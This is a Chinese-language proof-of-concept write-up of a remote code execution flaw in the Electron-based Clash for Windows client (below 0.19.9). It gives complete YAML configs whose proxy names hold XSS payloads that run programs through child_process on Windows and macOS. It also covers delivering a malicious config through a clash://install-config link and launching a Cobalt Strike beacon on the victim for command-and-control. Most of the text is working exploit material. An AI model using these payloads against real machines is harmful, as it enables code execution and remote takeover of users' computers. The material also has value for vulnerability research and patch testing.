crash_for_windows_pkg远程代码执行漏洞
漏洞详情
crash_for_windows_pkg由 Electron 提供支持。如果 XSS 负载以代理的名义,我们可以远程执行受害者计算机上的任何 JavaScript 代码。
受影响的冲突版本_for_windows_pkg
版本:< 0.19.9
平台:windows,mac
操作系统细节:Windows 10
验证
1.新建一个yaml配置文件,内容具体如下:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
2.打开clash,在Pprofiles中导入刚刚创建的配置文件
3.在proxies中点击图片链接即可触发。
mac脚本
在mac中只是部分代码不同
代码如下:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`););`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>
另一种利用方式
将恶意配置文件放到互联网上并用于clash://
安装它,clash_for_windows_pkg 将自动下载并切换到它。
如:
clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE
上线CS
在CS上生成监听,主要设置端口时不要与上面代码中的端口出现重复,否则会报错。
接着生成可执行文件
将生成的beacon.exe文件放置在目标机C盘中,接着修改配置文件中的路径:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
接着加载配置文件,最后点击proxies中点击图片链接。返回CS,可以看见已经成功上线CS。